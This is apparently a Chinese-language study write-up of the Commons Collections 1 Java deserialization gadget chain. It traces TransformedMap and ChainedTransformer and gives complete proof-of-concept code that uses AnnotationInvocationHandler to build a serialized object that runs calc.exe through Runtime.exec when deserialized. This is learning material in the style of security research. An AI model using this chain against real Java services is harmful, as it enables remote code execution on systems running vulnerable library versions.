反序列化分析(二)--CommonCollections1
鏈子分析
- 首先新建一個TransformedMap,其中二三引數為可控,後續要用到
- 當TransformedMap執行put方法時,會分別執行transformKey和transformValue方法
- 可以看到,兩個方法中,都有transform方法,但引數不可控
- 找能觸發InvokerTransform的transform方法,而且是無需借用外部傳參的那種
分析cc鏈的時候,最大的體會就是分析可以,但不明白為什麼可以想到這麼絕的方法?火候不夠.
- 可是要執行invokeTransform,那就又少不了外部傳參加以控制..
先不管這個ChainedTransformer怎麼想到的,就假設已經知道了這個可以把前一個結果當作後一個函式的引數就好了
- 那就說明,還要找一個transform實現類,能夠返回Runtime
- 這個類可以返回一個物件,而imap為可控,所以只要知道了input的值,例如為trick,那麼iMap['trick']就可以返回一個Runtime,從而可以完成既定目標(但這個還是要藉助外部引數,但可行性較高,畢竟一般不會傳Runtime作為鍵值對,但會傳一個字串,感覺又有點像php鏈子的找法了)
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException {
//建立一個含有Runtime的map
HashMap<String, Runtime> stringRuntimeHashMap = new HashMap<>();
stringRuntimeHashMap.put("Aur0ra", Runtime.getRuntime());
MapTransformer mapTransformer = (MapTransformer) MapTransformer.getInstance(stringRuntimeHashMap);
//傳進去作為第一個transformer類
Transformer[] transformers = {
mapTransformer,
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap hashMap = new HashMap();
Map outerMap = TransformedMap.decorate(hashMap, null, chainedTransformer);
outerMap.put("name","Aur0ra");
}
其中部分的資料需要同步
因為最後相當於是從那個map中獲取指定鍵的值,所以map構造,以及put的時候,需要注意同步性
-
可以看到上面的確實可以利用,但前提是知道put的內容,還是有缺陷.所以看下下面官方給的鏈
-
這個是完全無需藉助不可控變數的
-
返回的是類中的某個元素,所以是可控的,且與傳進來的引數無關
public static void main(String[] args) {
Transformer[] transformers = {
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap hashMap = new HashMap();
Map outerMap = TransformedMap.decorate(hashMap, null, chainedTransformer);
outerMap.put("name","Aur0ra"); //任意值,只要有put動作即可
}
- 至此,從TransformerMap->chainedTransformer->ConstantTransformer&InvokerTransformer這條鏈已經分析清楚了.
一遍下來,有些地方和php鏈還是相似的,只是說有些trick的跳度稍大,沒有開發基礎的,比較難以理解(比如我).
完善成可利用的POC
上面只是一個樣例POC是手動觸發的,現實中還需要一個會自動觸發的點,對該Map進行寫的操作.所以要先找一個類其中包含可控map,且存在自動觸發的反序列化點.
在找AnnotationInvocationHandler的時候,用import匯入一直顯示沒有,但都下了幾個jdk,都沒有都快放棄了,結果突然發現,標識它不是public類,所以無法被import匯入,,,,直接整?
- 序列化構造時可能遇到的問題
- AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2)的認知
- Runtime類沒有實現序列化介面,無法完成序列化。
- 解決方案
- 該<? extends Annotation>代表需要是繼承的子類,所以傳的時候需要是子類物件的class
- 利用反射,借用InvokerTransformer,讓Runtime在反序列化後形成。或者借用其他程式碼執行的類
- common-collections 3.2.2後加入了安全機制,這裡我直接改成了3.1的cc
最終
利用條件
sun.reflect.annotation.AnnotationInvocationHandler的第一個引數不僅要是Annotation的子類,而且還要和後面的Map都擁有一個同名函式
java 8u71前版本,後面的版本中有修改,需要更換利用
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException {
/**
* 1.讓Runtime在序列化後產生
* 2。採用其他方式進行命令執行
*/
/**
Method method = Runtime.class.getMethod("getRuntime");
Runtime r = (Runtime) method.invoke(null);
r.exec("calc.exe");
*/
Transformer[] transformers = {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null, new Object[0]}), //返回一個Runtime
new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc.exe"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap hashMap = new HashMap();
hashMap.put("value", "xxxx");
Map outerMap = TransformedMap.decorate(hashMap, null, chainedTransformer);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
/**
* AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2)
* 這裡第一個引數需要是Annotation的子類
*/
Object o = constructor.newInstance(Retention.class, outerMap);
ObjectOutputStream ous = new ObjectOutputStream(new FileOutputStream("1.txt"));
ous.writeObject(o);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr);
objectOutputStream.writeObject(o);
objectOutputStream.close();
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
ois.readObject();
}
總結
hashMap與transformer之間的淵源:一般新增新的值時,為了有一定的規則,這個時候需要用到轉換(Transform)相關的東西進行轉換。這就是為什麼hashMap總是和transform之類的能聯想到一起
- invokeTransform -- 能夠執行命令
- ConstantTransform -- 不需要依賴引數,可以返回一個可控的內部屬性
- chainedTransformer -- 能夠將前面產生的結果作為後面的引數,和FilterChain相似